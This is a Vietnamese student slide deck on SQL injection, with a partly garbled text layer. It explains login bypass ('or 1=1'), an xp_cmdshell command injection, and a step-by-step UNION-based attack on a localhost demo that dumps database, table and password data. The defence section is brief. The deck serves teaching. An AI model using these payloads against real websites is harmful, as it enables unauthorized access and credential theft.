G V : M a i X u â n H ù n g
N h ó m T H :
Đ o à n P h ư ơ n g T h ả o
N g u y ễ n M i n h N g ọ c
Đ ỗ T h ị N g a
TẤN CÔNG WEB SITE BẰNG SQL
INJECTION VÀ CÁCH PHÒNG
CHỐNG
TẤN CÔNG WEB SITE BẰNG SQL INJECTION VÀ
CÁCH PHÒNG CHỐNG
SQL INJECTION LÀ GÌ?
CÁC DẠNG TẤN CÔNG CỦA SQL INJECTION.
CÁC BƯỚC TẤN CÔNG.
PHƯƠNG PHÁP PHÒNG CHỐNG TẤN CÔNG SQL
INJECTION .
I. TẤN CÔNG WEBSITE BẰNG SQL INJECTION
SQL injection là m t k thu t cho phép nh ng k t n ộ ỹ ậ ữ ẻ ấ
công l i d ng l h ng c a vi c ki m tra d li u đ u ợ ụ ỗ ổ ủ ệ ể ữ ệ ầ
vào trong các ng d ng web và các thông báo l i c a ứ ụ ỗ ủ
h qu n tr c s d li u tr v đ inject (tiêm vào) và ệ ả ị ơ ở ữ ệ ả ề ể
thi hành các câu l nh SQL b t h p pháp, Sql injection ệ ấ ợ
có th cho phép nh ng k t n công th c hi n các thao ể ữ ẻ ấ ự ệ
tác, delete, insert, update,… trên c s d li u c a ng ơ ỡ ữ ệ ủ ứ
d ng, th m chí là server mà ng d ng đó đang ch y, ụ ậ ứ ụ ạ
l i này th ng x y ra trên các ng d ng web có d ỗ ườ ả ứ ụ ữ
li u đ c qu n lý b ng các h qu n tr c s d li u ệ ượ ả ằ ệ ả ị ơ ở ữ ệ
nh SQL Server, MySQL, Oracle, DB2, Sysbase ư
SQL INJECTION
Là một trong số những lỗi bảo mật phổ biến nhất
Xác xuất gặp phải lỗ hổng bảo mật ở dạng này khá cao
Được sử dụng nhiều bởi tính đơn giản, không đòi hỏi
nhiều công cụ hỗ trợ
Thời gian khắc phục điểm yếu này thường khá lâu dẫn
đến gây hậu quả nặng nề hơn
II. CÁC DẠNG TẤN CÔNG BẰNG SQL INJECTION
D ng t n công v t qua ki m tra đăng nh pạ ấ ượ ể ậ
D ng t n công s d ng câu l nh SELECTạ ấ ử ụ ệ
D ng t n công s d ng câu l nh INSERTạ ấ ử ụ ệ
D ng t n công s d ng stored-proceduresạ ấ ử ụ
DẠNG TẤN CÔNG VƯỢT QUA KIỂM TRA ĐĂNG
NHẬP
V i d ng t n công này, tin t c có th d dàng v t qua các trang ớ ạ ấ ặ ể ễ ượ
đăng nh p nh vào l i khi dùng các câu l nh SQL thao tác trên c ậ ờ ỗ ệ ơ
s d li u c a ng d ng webở ữ ệ ủ ứ ụ
Xét một ví dụ điển hình, thông thường để cho phép người dùng truy cập
vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng
nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu.
Sau khi người dùng nhập username, password và click nút submit,
username và password này sẽ được gửi đến ứng dụng và xử lý chúng. M t ộ
câu truy v n SQL s đ c t o ra và l y các hàng kh p v i thông tin ấ ẽ ượ ạ ấ ớ ớ
ng i dùng cung c p. Ng i dùng lúc đó s đ c ch ng th c và ườ ấ ườ ẽ ượ ứ ự
chuy n đ n trang yêu c u.ể ế ầ
DẠNG TẤN CÔNG VƯỢT QUA KIỂM TRA ĐĂNG NHẬP
Tuy nhiên, n u không đ c ki m tra k s d b ế ượ ể ỹ ẽ ễ ị
l i SQL injectionỗ . Ví d đo n code sau đâu b l i SQL ụ ạ ị ỗ
injection:
string strQry = “SELECT Count(*) FROM Users WHERE
Username=’” + txtUser.Text + “‘ AND Password =’” +
txtPassword.Text + “‘”;
N u ng i dùng đăng nh p bình th ng, ví d username là ế ườ ậ ườ ụ
‘Jason’ và password là ‘Springfield’. Khi đó ng d ng s th c ứ ụ ẽ ự
hi n câu truy v n:ệ ấ
SELECT Count(*) FROM Users WHERE Username = ‘Jason’
AND Password = ‘Springfield’.
DẠNG TẤN CÔNG VƯỢT QUA KIỂM TRA ĐĂNG
NHẬP
Tuy nhiên, n u đăng nh p v i username và Password nh sau:ế ậ ớ ư
Username là “ Thao’ or 1=1” , password là “Springfield” khi đó câu truy vấn sẽ được
thực hiện như sau:SELECTCount(*)FROMUsersWHEREUsername=‘Thao’OR1
=1—ANDPassword=‘Springfield’.
Chú ý rằng sau dấu – là comment. Nghĩa là câu truy vấn thật sự là: SELECTCount(*)
FROMUsersWHEREUsername=‘Blah’OR1=1. Như vậy là người tấn công sẽ
vượt qua phần kiểm tra đăng nhập.
DẠNG TẤN CÔNG SỬ DỤNG CÂU LỆNH INSERT
Thông thường các ứng dụng web cho phép người dùng đăng kí
một tài khoản để tham gia. Chức năng không thể thiếu là sau khi
đăng kí thành công, ngƣời dùng có thể xem và hiệu chỉnh thông
tin của mình. SQL injection có thể đƣợc dùng khi hệ thống
không kiểm tra tính hợp lệ của thông tin nhập vào.
DẠNG TẤN CÔNG SỬ DỤNG STORE-PROCEDURES
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu
ứng dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ,
nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell
‘cmd.exe dir C: '. Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư
mục trên ổđĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc
vào câu lệnh đằng sau cmd.exe.
DẠNG TẤN CÔNG SỬ DỤNG CÂU LỆNH SELECT
D ng t n công này ph c t p h n. Đ th c hi n ạ ấ ứ ạ ơ ể ự ệ
đ c ki u t n công này, k t n công ph i có kh ượ ể ấ ẻ ấ ả ả
năng hi u và l i d ng các s h trong các thông báo ể ợ ụ ơ ở
l i t h th ng đ dò tìm các đi m y u kh i đ u ỗ ừ ệ ố ể ể ế ở ầ
cho vi c t n công. Xét m t ví d r t th ng g p ệ ấ ộ ụ ấ ƣờ ặ
trong các website v tin t c. Thông ề ứ thường, s có m t ẽ ộ
trang nh n ID c a tin c n hi n th r i sau đó truy ậ ủ ầ ể ị ồ
v n n i dung c a tin có ID này.ấ ộ ủ
III. CÁC BƯỚC TẤN CÔNG MỘT WEBSITE BẰNG SQL
INJECTION
Bước 1: Tìm kiếm lỗi.
Bước 2: Khai thác lỗi
TÌM KIẾM LỖI
- SQL injection phát sinh lỗi khi người lập trình không kiểm soát chặt chẽ dữ liệu đầu
vào trước khi thực thi câu lệnh SQL để truy vấn dữ liệu. Cách đơn giản để phát hiện lỗi
SQL injection là thêm kí tự “ ‘” vào URL truy vấn.
VD:1 URL mà người dùng truy vấn bình thường:
http://localhost/demo/information.php?item=7
- Query bình thường sẽ có dạng:
Select*fromsanphamwhereitem=7;
- Câu lệnh được thực thi bình thường.
TÌM KIẾM LỖI
Khi kiểm tra lỗi thông thường thêm kí tự “’” vào URL URL lúc này sẽ có dạng: http://
localhost:6789/demo/information.php?item=7
Query lúc này sẽ là:
Select*fromsanphamwhereitem=7';
Lỗi SQL:
Warning:mysql_num_rows()expectsparameter1tob
resource,booleangiveninD:\xampp\htdocs\demo\information.phponline23
Như vậy chúng ta có thể chèn thêm các câu truy vấn SQL để khai thác dữ liệu trong CSDL.
KHAI THÁC LỖI
SQL injection dạng Inband đưa vào các truy vấn dạng
union để khai thác dữ liệu .
VD: Select column1 from table1 where item=xx union
selectcolumn2fromtable2where(dknaodo);
Trong trường sử dụng union, cần phải biết được số lượng
column1 trong truy vấn: "Select column1 from table1" để
mệnh đề "unionselectcolumn2fromtable2where(dknao
do);" thỏa mãn
KHAI THÁC LỖI
Để biết được số cột ta sử dụng"order by socot". Khi đó URL sẽ có dạng:
http://localhost:6789/demo/information.php?item=7orderbysocot
http://localhost:6789/demo/information.php?item=7orderby7
Trả về trang thông tin của item 7
KHAI THÁC LỖI
KhiURL:http://localhost:6789/demo/information.php?item=7orderby8
trả về trang lỗi
có 7 cột
Sau khi biết số cột bắt đầu khai thác dữ liệu bằng cách sử dụng truy vấn union. Khi đó URL sẽ có
dạng:
http://localhost:6789/demo/information.php?item=7union select 1,2,3,4,5,6,7
KHAI THÁC LỖI
Tới đây ta sẽ thấy dữ liệu của truy vấn:
Select*fromsanphamwhereitem=7;
Che lấp dữ liệu của truy vấn
Unionselect1,2,3,4,5,6,7
Vì vậy để hiển thị được dữ liệu của truy vấn sau ta loại bỏ dữ liệu của truy vấn trước bằng cách đặt giá trị của item = một số không xác định hoặc không có trong database. Khi đó
URL sẽ là:
http://localhost:6789/demo/information.php?item=-7unionselect1,2,3,4,5,6,7
> Khi đó column có thể hiển thị dữ liệu cho truy vấn sẽ được hiển thị trong trường hợp này là 2,3,4,6,7.
KHAI THÁC LỖI
Tiếp tục khai thác dữ liệu
http://localhost/demo/information.php?item=-7unionselect
1,2,3,4,5,6,version()
Hàm version() là hàm của MySQL cho biết thông tin về version của mysql
server hiệ tại đang chạy.
KHAI THÁC D LI UỮ Ệ
Tiếp tục khai thác dữ liệu:
http://localhost:6789/demo/information.php?item=-7unionselect
1,2,3,4,5,6,database()
Hàm database() là hàm của MySQL cho biết thông tin về database đang chạy website
-Ở đây website đang sử dụng database dem04ngang0
KHAI THÁC D LIÊUỮ
Tiếp tục khai thác dữ liệu
http://localhost:6789/demo/information.php?item=-7unionselect1,2,3,4,5,6,user()
Hàm user() là hàm của MySQL cho biết thông tin về user đang chạy database website.
Ở đây user đang schayj database của website là: root@localhost
KHAI THÁC D LI UỮ Ệ
Khai thác chi tiết hơn dữ liệu cần biết được các table và column cua databse:
Tiếp tục khai thác dữ liệu
http://localhost:6789/demo/information.php?item=-7unionselect1,2,3,4,5,6,
group_concat(table_name)frominformation_schema.tableswhere
table_schema=database()
information_schema.tables là một table mặc định của Mysql chứa tất cả các thông tin
của table trên MySQL server.
Hàm group_concat() dùng để nối string.
Truy vấn ở trên có nghĩa là: Liệt kê tất cả các table của database đang được sử dụng
(dem04ngang0)
KHAI THÁC D LI UỮ Ệ
Tiếp tục khai thác dữ liệu :
http://localhost/demo/information.php?
item=7+union+select+1,2,3,4,5,group_concat(column_name),7from
information_schema.columnswheretable_name='nhanvien'
information_schema.columns là một table mặc định của Mysql chứa tất cả các thông tin của
columns trên MySQL server. Truy vấn ở trên có nghĩa là: liệt kê tất cả các columns của table có
tên 'nhanvien'.
NAME,ID,SODT,NGVL,HSLUONG,LUONGCB,PASSWORD,CHUCVU
http://localhost:6789/demo/information.php?
item=7+union+select+1,2,3,4,5,group_concat(column_name),7from
information_schema.columnswheretable_name=CHAR(110,14,97,110,118,105,101,110)
KHAI THÁC DỮ LIỆU
Tiếp tục khai thác dữ liệu:
http://localhost:6789/demo/information.php?item=-
7+union+select+1,2,3,4,5,group_concat(NAME,0x2f,PASSWORD),7fromnhanvien
Sau khi có được thông tin của column ta bắt đầu khai thác thông tin của database:
Truy vân trên có nghĩa là: Liệt kê NAME và PASSWORD của table nhanvien. 0x2flàdấu“/” được đổi ra
mã hex.
Ở đây ta lấy đựơc user là admin pass: 1234
Có thông tin quản tiến hành login vào hệ thống và kiểm soát hệ thống đó
PHÒNG CH NG SQL INJECTION Ố
Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của các lập
trình viên phát triển ứng dụng web khi xử lí các dữ liệu nhập vào để xây dựng
câu lệnh SQL. Tác hại từ lỗi SQL injection tùy thuộc vào môi trường và cách
cấu hình hệ thống.
Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu
Kiểm soát chặt chẽ dữ liệu nhập vào